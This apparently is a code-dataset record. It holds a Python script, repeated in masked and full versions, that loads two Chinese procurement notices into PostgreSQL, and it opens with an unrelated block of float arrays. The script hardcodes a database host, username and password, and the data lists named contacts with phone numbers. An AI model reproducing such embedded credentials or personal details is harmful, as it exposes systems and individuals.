[5.6149092148265474e-06, -\n 1.4639678768975506e-12, -1.253161090730697e-13, 4.481233479664715e-11, \n -2.335516269047763e-10, -2.1416544930348844e-15, 3.3108330528832777e-16,\n 2.22837679272578e-05, -1.8681878215606722e-06, -1.528899727808779e-08, \n 8.573199342562181e-10, 1914602582873.603, 2013877892656.268], [\n 6.101651991514008e-06, -1.5833077943313046e-12, -1.9703439809858206e-13,\n 5.500949944067544e-11, -7.256876412950873e-11, -1.0739249647595844e-15,\n 3.658727722774004e-16, 2.970517711660123e-05, -1.8738366196528042e-06, \n -1.522166132952199e-08, 9.123763139194573e-10, 3105022967535.493, \n 7589715261899.736], [7.169307360099383e-06, -1.475336624504327e-12, -\n 2.0167346748799746e-13, 4.53859215469466e-11, -2.1795530264429259e-10, \n -1.209364174087727e-15, 3.179525403817121e-16, 2.248948490803903e-05, -\n 1.9732992714201345e-06, -1.4769695480936238e-08, 8.472670825115021e-10,\n 3105580314530.341, 4622017117439.275]]\nsecond1_gen = [[6.473615077297489e-06, -1.2416886913890308e-12, -\n 1.7473505716030156e-13, 3.966285637236728e-11, -7.243488055496258e-11, \n -1.1645955168783485e-15, 3.1918479761370934e-16, 2.7255618460061466e-05,\n -1.912188850787629e-06, -1.6430064111592607e-08, 8.970550453733459e-10,\n 35685411688.23251, 231044368946.34586], [6.393923513974502e-06, -\n 1.2418411778899226e-12, -1.7798884315456173e-13, 3.983180616117193e-11,\n -7.243742739542879e-11, -1.128236668058653e-15, 3.855466000081844e-16, \n 2.7200371659468664e-05, -1.9285560276423494e-06, -1.636514926725132e-08,\n 9.071692193685023e-10, 57865021002.9106, 360571654391.1672], [\n 7.230454358781939e-06, -1.423600316370741e-12, -1.7526876652912844e-13,\n 5.484412599476033e-11, -7.222102668803471e-11, -1.1795054510279537e-15,\n 3.642469974043324e-16, 2.4721354631465055e-05, -1.7738362153245365e-06,\n -1.6042437181983083e-08, 8.601004856702239e-10, 60788722272.11295, \n 440230270157.01904], [6.435449388867622e-06, -1.2416886913890308e-12, -\n 1.807074860305897e-13, 5.4624696474782334e-11, -7.299561923303083e-11, \n -1.1155657493946243e-15, 3.855466000081844e-16, 2.4639345261867096e-05,\n -1.92912357850029e-06, -1.4800406168095671e-08, 9.011563904603084e-10, \n 90541420172.20418, 503189560104.03455], [6.417695307686038e-06, -\n 1.2339817339229541e-12, -1.7924803979756243e-13, 5.5902899343682586e-11,\n -7.217875877484109e-11, -1.120826019773443e-15, 3.8364837768074985e-16,\n 2.2074405673546407e-05, -1.904212437644655e-06, -1.509791791618086e-08,\n 8.960324081400173e-10, 91138056935.866, 156256693553.4698], [\n 7.235432436183002e-06, -1.444519147741974e-12, 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-1.172163868062928e-15, 3.2003450301868095e-16, 2.236559796692659e-05, \n -1.964000257622103e-06, -1.461000086726312e-08, 8.924031273079037e-10, \n 441351014961.37744, 513124822279.29816], [7.118156558728498e-06, -\n 1.4213484509322684e-12, -1.7594919642528414e-13, 5.502275447498347e-11,\n -2.359264703422783e-10, -2.146866081339977e-15, 3.3020925008057705e-16,\n 2.48800717576552e-05, -1.8740196054647742e-06, -1.4681760148497176e-08,\n 9.194043116452982e-10, 480601682287.2741, 2166349399584.3464], [\n 6.435379358296727e-06, -1.449279705541305e-12, -1.791907685050265e-13, \n 4.013727926643595e-11, -2.561628978573389e-10, -1.1658376910672744e-15,\n 3.1916771926698506e-16, 2.706170262409588e-05, -1.9747493962051268e-06,\n -1.6529378614728517e-08, 8.945619840357268e-10, 480690251628.6576, \n 455217335045.56067], [7.273965294010602e-06, -1.4508582334938624e-12, -\n 1.2640181562203036e-13, 5.1256890020829106e-11, -2.347526011960417e-10,\n -1.1573810914157072e-15, 3.313802025100971e-16, 2.5248996663846427e-05,\n -1.8890715225154116e-06, -1.4830513494585048e-08, 9.024560997678787e-10,\n 513022508534.7746, 1741282758378.8208], [7.171513003462397e-06, -\n 1.4334443716578728e-12, -1.258745292341622e-13, 5.562080442549079e-11, \n -2.5310572250093563e-10, -2.177369178159867e-15, 3.269368594462498e-16,\n 2.5052523082312023e-05, -1.9593459141604013e-06, -\n 1.4665768665138152e-08, 8.920318373308913e-10, 559251400205.1976, \n 313686240874.89294]]\nthird1_gen = [[6.428534934734018e-06, -1.2348251959432863e-12, -\n 1.767418187059626e-13, 3.954772029523348e-11, -7.292041892016764e-11, -\n 1.1216042005993232e-15, 3.8462974452187554e-16, 2.732021800880368e-05, \n -1.912188850787629e-06, -1.6465861899672315e-08, 8.953663972360121e-10,\n 35914970214.05617, 208658422545.5101], [6.449609175276781e-06, -\n 1.2355212093166627e-12, -1.7892996139776768e-13, 3.978108705811362e-11,\n -7.260470610345522e-11, -1.128236668058653e-15, 3.8262320992212617e-16,\n 2.699492740612888e-05, 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9.06465374180439e-10, 61888825971.955795, \n 378668457219.4866], [7.2950079161541e-06, -1.423600316370741e-12, -\n 1.8067111524974517e-13, 5.467528933636526e-11, -7.269174548770519e-11, \n -1.1131382577055909e-15, 3.642469974043324e-16, 2.442302310111588e-05, \n -1.9365154780516644e-06, -1.4736235919210341e-08, 9.02573445716291e-10,\n 72168008768.07632, 429565720321.34186], [7.277641363649251e-06, -\n 1.4186237292635021e-12, -1.7672076654522444e-13, 5.4875348972838477e-11,\n -7.250728822785179e-11, -1.1805107762756462e-15, 3.880180132520679e-16,\n 2.7230117388865188e-05, -1.79140018540739e-06, -1.6042437181983083e-08,\n 8.524740779894739e-10, 144497176198.74966, 733034177617.006], [\n 6.435449388867622e-06, -1.2375432988348708e-12, -1.8114977137612309e-13,\n 3.9353291584632385e-11, -7.306938943468394e-11, -1.1645955168783485e-15,\n 3.887993677152085e-16, 2.4432920122355823e-05, -1.927081007099796e-06, \n -1.644170413651962e-08, 9.09149545755435e-10, 151124978488.96066, \n 169172823395.74277], [7.278147471012389e-06, -1.4279386093057266e-12, -\n 1.7683419692117291e-13, 5.493758019518918e-11, -7.289146026177328e-11, \n -1.1733747472097884e-15, 3.675691109659462e-16, 2.4721354631465055e-05,\n -1.7638896999117907e-06, -1.588988736168235e-08, 8.632841256471107e-10,\n 202474467398.45615, 922092113586.5779], [7.177079530800026e-06, -\n 1.234976832476029e-12, -1.7526876652912844e-13, 5.534254133122458e-11, \n -7.205830797649949e-11, -1.120826019773443e-15, 3.8364837768074985e-16,\n 2.2258192147086412e-05, -1.7878127478583311e-06, -1.620023857736605e-08,\n 8.601004856702239e-10, 213869103072.6637, 175609972725.89545], [\n 6.350923506939188e-06, -1.2525603780194753e-12, -1.7993410193080307e-13,\n 5.465765498048408e-11, -7.243742739542879e-11, -1.1188147125437704e-15,\n 3.855466000081844e-16, 2.47790541156232e-05, -1.9163436765125797e-06, -\n 1.4800406168095671e-08, 9.043461740243768e-10, 224990894591.97565, \n 940216435276.2135], [6.375685299492019e-06, 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5.432423395298522e-11, -7.243160061946103e-11, -\n 1.1728842336075722e-15, 3.642469974043324e-16, 2.4721354631465055e-05, \n -1.9201275577069358e-06, -1.6042437181983083e-08, 8.613978338195112e-10,\n 1220087240914.9465, 1538404370735.8923], [7.222746286095911e-06, -\n 1.4287928653696903e-12, -1.7798884315456173e-13, 5.47608522234827e-11, \n -7.177949793819456e-11, -1.1234835849356116e-15, 3.638627899273496e-16,\n 2.4725904181789833e-05, -1.7849753358990938e-06, -\n 1.6004659818379623e-08, 9.095587982641099e-10, 1457214324700.6113, \n 3971854766728.4727]]\n[1.5780628845471506e-10, -1.411490597458207e-12, -2.483949940281473e-13, \n 5.026488748046414e-11, -1.6612576871621329e-10, -1.6989844545344268e-15,\n 8.109443782655016e-16, 2.404048022255995e-05, -1.9859378185800262e-06, \n -1.6176901999289427e-08, 9.489903548622118e-10, 102704594939.3429, \n 145011267381.10236]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.6265959327559024e-11, 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9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06,\n -1.68878771600575e-08, 9.514461873186105e-10, 121168243931.69568, \n 138376625633.08905]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.59768924730343e-11, -1.6588127033784183e-10, -1.7924226413310876e-15,\n 9.085513864943156e-16, 2.3963751617497686e-05, -1.9859378185800262e-06,\n -1.6176901999289427e-08, 9.503282761551985e-10, 127284942067.54468, \n 147143586736.12967]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.6265959327559024e-11, -1.669670220497726e-10, -1.803564324024427e-15,\n 8.4683341745183045e-16, 2.3963751617497686e-05, -1.9517021060346726e-06,\n -1.7031696163247858e-08, 9.514461873186105e-10, 165879895673.90985, \n 148817892429.6303]\n[6.483959591091273e-10, -1.5516831882387681e-12, -2.477506624442777e-13, \n 5.026488748046414e-11, -1.669670220497726e-10, -1.7924226413310876e-15,\n 8.070333012129768e-16, 2.4138485475672502e-05, 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<\|reserved_special_token_0\|> def processJson(dic): dicobj = json.loads(dic) print(dicobj) for k, v in dicobj.items(): dict_tmp = {} dict_tmp['file_name'] = k dict_tmp['urls'] = v print(k) print(v) result.append(dict_tmp) return result def procesV(): for i in data_list: if 'appendix' in i.keys(): appendix = i['appendix'] if appendix != '': fj = processJson(i['appendix']) print(fj) fjs = json.dumps(fj, ensure_ascii=False) values_list.append(('testtest', fjs)) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def processJson(dic): dicobj = json.loads(dic) print(dicobj) for k, v in dicobj.items(): dict_tmp = {} dict_tmp['file_name'] = k dict_tmp['urls'] = v print(k) print(v) result.append(dict_tmp) return result def procesV(): for i in data_list: if 'appendix' in i.keys(): appendix = i['appendix'] if appendix != '': fj = processJson(i['appendix']) print(fj) fjs = json.dumps(fj, ensure_ascii=False) values_list.append(('testtest', fjs)) def prosql(): hostname = '172.18.11.26' username = 'postgres' password = 'postgres_cnhis@#$' database = 'ai' conn = pg.connect(database=database, user=username, password=password, host=hostname, port='5432') cursor = conn.cursor() procesV() sql = """insert into ho_sysnc_third_customer_data("purchased_project_name","fj_json") values %s """ ex.execute_values(cursor, sql, values_list, page_size=10000) conn.commit() conn.close() cursor.close() if __name__ == '__main__': prosql() <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> data_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务', 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime': '2020年09月02日 19:20', 'obtBidTime': '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\xa0\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）' , 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室', 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅', 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone': '18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone': '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文', 'agentPhone': '18690293446'}, {'projectName': '旅顺口医疗区医用氧气管道检修采购项目', 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院', 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime': '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\xa0\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）' , 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone': '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号', 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName': '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix': '{"2.报价书氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44", "3.货物指标及要求氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1"}' }] dict_tmp = {} values_list = [] result = [] def processJson(dic): dicobj = json.loads(dic) print(dicobj) for k, v in dicobj.items(): dict_tmp = {} dict_tmp['file_name'] = k dict_tmp['urls'] = v print(k) print(v) result.append(dict_tmp) return result def procesV(): for i in data_list: if 'appendix' in i.keys(): appendix = i['appendix'] if appendix != '': fj = processJson(i['appendix']) print(fj) fjs = json.dumps(fj, ensure_ascii=False) values_list.append(('testtest', fjs)) def prosql(): hostname = '172.18.11.26' username = 'postgres' password = 'postgres_cnhis@#$' database = 'ai' conn = pg.connect(database=database, user=username, password=password, host=hostname, port='5432') cursor = conn.cursor() procesV() sql = """insert into ho_sysnc_third_customer_data("purchased_project_name","fj_json") values %s """ ex.execute_values(cursor, sql, values_list, page_size=10000) conn.commit() conn.close() cursor.close() if __name__ == '__main__': prosql() <\|reserved_special_token_1\|> from psycopg2 import extras as ex import psycopg2 as pg import json import datetime import os from functools import reduce data_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务', 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime': '2020年09月02日 19:20', 'obtBidTime': '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\xa0\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）' , 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室', 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅', 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone': '18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone': '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文', 'agentPhone': '18690293446'}, {'projectName': '旅顺口医疗区医用氧气管道检修采购项目', 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院', 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime': '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\xa0\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）' , 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone': '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号', 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName': '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix': '{"2.报价书氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44", "3.货物指标及要求氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1"}' }] dict_tmp = {} values_list = [] result = [] def processJson(dic): dicobj = json.loads(dic) print(dicobj) for k, v in dicobj.items(): dict_tmp = {} dict_tmp['file_name'] = k dict_tmp['urls'] = v print(k) print(v) result.append(dict_tmp) return result def procesV(): for i in data_list: if 'appendix' in i.keys(): appendix = i['appendix'] if appendix != '': fj = processJson(i['appendix']) print(fj) fjs = json.dumps(fj, ensure_ascii=False) values_list.append(('testtest', fjs)) def prosql(): hostname = '172.18.11.26' username = 'postgres' password = 'postgres_cnhis@#$' database = 'ai' conn = pg.connect(database=database, user=username, password=password, host=hostname, port='5432') cursor = conn.cursor() procesV() sql = """insert into ho_sysnc_third_customer_data("purchased_project_name","fj_json") values %s """ ex.execute_values(cursor, sql, values_list, page_size=10000) conn.commit() conn.close() cursor.close() if __name__ == '__main__': prosql() <\|reserved_special_token_1\|> from psycopg2 import extras as ex import psycopg2 as pg import json import datetime import os from functools import reduce data_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务', 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime': '2020年09月02日 19:20', 'obtBidTime': '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\xa0\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）', 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室', 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅', 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone': '18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone': '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文', 'agentPhone': '18690293446'} , {'projectName': '旅顺口医疗区医用氧气管道检修采购项目', 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院', 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime': '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\xa0\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）', 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone': '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号', 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName': '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix': '{"2.报价书氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44", "3.货物指标及要求氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1"}'} ] dict_tmp={} values_list = [] result = [] def processJson(dic): dicobj = json.loads(dic) print(dicobj) for k,v in dicobj.items(): dict_tmp = {} dict_tmp["file_name"] = k dict_tmp["urls"] =v print(k) print(v) result.append(dict_tmp) # dict_tmp.clear() return result def procesV(): for i in data_list: if "appendix" in i.keys(): appendix = i["appendix"] if appendix != "": fj = processJson(i["appendix"]) print(fj) fjs = json.dumps(fj,ensure_ascii=False) values_list.append(("testtest",fjs)) def prosql(): # values 后面直接%s hostname = '172.18.11.26' username = 'postgres' password = 'postgres_cnhis@#$' database = 'ai' conn = pg.connect(database=database, user=username, password=password, host=hostname, port="5432") cursor = conn.cursor() procesV() sql = '''insert into ho_sysnc_third_customer_data("purchased_project_name","fj_json") values %s ''' # 其中函数中的page_size参数默认为100，表示每个statement包含的最大条目数， # 如果传过来的argslist长度大于page_size,则该函数最多执行len(argslist)/page_size + 1次。 ex.execute_values(cursor, sql, values_list, page_size=10000) conn.commit() conn.close() cursor.close() if __name__ =='__main__': prosql() # procesV()	flexible	{ "blob_id": "e9af8f7830be7db3ca57b0a24de48ef7fcb08d6c", "index": 8453, "step-1": "<mask token>\n\n\ndef processJson(dic):\n dicobj = json.loads(dic)\n print(dicobj)\n for k, v in dicobj.items():\n dict_tmp = {}\n dict_tmp['file_name'] = k\n dict_tmp['urls'] = v\n print(k)\n print(v)\n result.append(dict_tmp)\n return result\n\n\ndef procesV():\n for i in data_list:\n if 'appendix' in i.keys():\n appendix = i['appendix']\n if appendix != '':\n fj = processJson(i['appendix'])\n print(fj)\n fjs = json.dumps(fj, ensure_ascii=False)\n values_list.append(('testtest', fjs))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef processJson(dic):\n dicobj = json.loads(dic)\n print(dicobj)\n for k, v in dicobj.items():\n dict_tmp = {}\n dict_tmp['file_name'] = k\n dict_tmp['urls'] = v\n print(k)\n print(v)\n result.append(dict_tmp)\n return result\n\n\ndef procesV():\n for i in data_list:\n if 'appendix' in i.keys():\n appendix = i['appendix']\n if appendix != '':\n fj = processJson(i['appendix'])\n print(fj)\n fjs = json.dumps(fj, ensure_ascii=False)\n values_list.append(('testtest', fjs))\n\n\ndef prosql():\n hostname = '172.18.11.26'\n username = 'postgres'\n password = 'postgres_cnhis@#$'\n database = 'ai'\n conn = pg.connect(database=database, user=username, password=password,\n host=hostname, port='5432')\n cursor = conn.cursor()\n procesV()\n sql = \"\"\"insert into ho_sysnc_third_customer_data(\"purchased_project_name\",\"fj_json\")\n values %s\n \"\"\"\n ex.execute_values(cursor, sql, values_list, page_size=10000)\n conn.commit()\n conn.close()\n cursor.close()\n\n\nif __name__ == '__main__':\n prosql()\n", "step-3": "<mask token>\ndata_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务',\n 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime':\n '2020年09月02日 19:20', 'obtBidTime':\n '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\\xa0\\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）'\n , 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室',\n 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅',\n 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone':\n '18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone':\n '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文',\n 'agentPhone': '18690293446'}, {'projectName': '旅顺口医疗区医用氧气管道检修采购项目',\n 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院',\n 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime':\n '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\\xa0\\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）'\n , 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone':\n '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号',\n 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName':\n '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone':\n '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix':\n '{\"2.报价书氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44\", \"3.货物指标及要求氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1\"}'\n }]\ndict_tmp = {}\nvalues_list = []\nresult = []\n\n\ndef processJson(dic):\n dicobj = json.loads(dic)\n print(dicobj)\n for k, v in dicobj.items():\n dict_tmp = {}\n dict_tmp['file_name'] = k\n dict_tmp['urls'] = v\n print(k)\n print(v)\n result.append(dict_tmp)\n return result\n\n\ndef procesV():\n for i in data_list:\n if 'appendix' in i.keys():\n appendix = i['appendix']\n if appendix != '':\n fj = processJson(i['appendix'])\n print(fj)\n fjs = json.dumps(fj, ensure_ascii=False)\n values_list.append(('testtest', fjs))\n\n\ndef prosql():\n hostname = '172.18.11.26'\n username = 'postgres'\n password = 'postgres_cnhis@#$'\n database = 'ai'\n conn = pg.connect(database=database, user=username, password=password,\n host=hostname, port='5432')\n cursor = conn.cursor()\n procesV()\n sql = \"\"\"insert into ho_sysnc_third_customer_data(\"purchased_project_name\",\"fj_json\")\n values %s\n \"\"\"\n ex.execute_values(cursor, sql, values_list, page_size=10000)\n conn.commit()\n conn.close()\n cursor.close()\n\n\nif __name__ == '__main__':\n prosql()\n", "step-4": "from psycopg2 import extras as ex\nimport psycopg2 as pg\nimport json\nimport datetime\nimport os\nfrom functools import reduce\ndata_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务',\n 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime':\n '2020年09月02日 19:20', 'obtBidTime':\n '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\\xa0\\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）'\n , 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室',\n 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅',\n 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone':\n '18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone':\n '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文',\n 'agentPhone': '18690293446'}, {'projectName': '旅顺口医疗区医用氧气管道检修采购项目',\n 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院',\n 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime':\n '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\\xa0\\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）'\n , 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone':\n '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号',\n 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName':\n '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone':\n '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix':\n '{\"2.报价书氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44\", \"3.货物指标及要求氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1\"}'\n }]\ndict_tmp = {}\nvalues_list = []\nresult = []\n\n\ndef processJson(dic):\n dicobj = json.loads(dic)\n print(dicobj)\n for k, v in dicobj.items():\n dict_tmp = {}\n dict_tmp['file_name'] = k\n dict_tmp['urls'] = v\n print(k)\n print(v)\n result.append(dict_tmp)\n return result\n\n\ndef procesV():\n for i in data_list:\n if 'appendix' in i.keys():\n appendix = i['appendix']\n if appendix != '':\n fj = processJson(i['appendix'])\n print(fj)\n fjs = json.dumps(fj, ensure_ascii=False)\n values_list.append(('testtest', fjs))\n\n\ndef prosql():\n hostname = '172.18.11.26'\n username = 'postgres'\n password = 'postgres_cnhis@#$'\n database = 'ai'\n conn = pg.connect(database=database, user=username, password=password,\n host=hostname, port='5432')\n cursor = conn.cursor()\n procesV()\n sql = \"\"\"insert into ho_sysnc_third_customer_data(\"purchased_project_name\",\"fj_json\")\n values %s\n \"\"\"\n ex.execute_values(cursor, sql, values_list, page_size=10000)\n conn.commit()\n conn.close()\n cursor.close()\n\n\nif __name__ == '__main__':\n prosql()\n", "step-5": "from psycopg2 import extras as ex\nimport psycopg2 as pg\nimport json\nimport datetime\nimport os\nfrom functools import reduce\n\n\ndata_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务', 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime': '2020年09月02日 19:20', 'obtBidTime': '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\\xa0\\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）', 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室', 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅', 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone': '18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone': '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文', 'agentPhone': '18690293446'}\n , {'projectName': '旅顺口医疗区医用氧气管道检修采购项目', 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院', 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime': '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\\xa0\\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）', 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone': '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号', 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName': '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix': '{\"2.报价书氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44\", \"3.货物指标及要求氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1\"}'}\n ]\n\n\ndict_tmp={}\nvalues_list = []\nresult = []\ndef processJson(dic):\n dicobj = json.loads(dic)\n print(dicobj)\n for k,v in dicobj.items():\n dict_tmp = {}\n dict_tmp[\"file_name\"] = k\n dict_tmp[\"urls\"] =v\n print(k)\n print(v)\n result.append(dict_tmp)\n # dict_tmp.clear()\n return result\n\ndef procesV():\n for i in data_list:\n if \"appendix\" in i.keys():\n appendix = i[\"appendix\"]\n if appendix != \"\":\n fj = processJson(i[\"appendix\"])\n print(fj)\n fjs = json.dumps(fj,ensure_ascii=False)\n 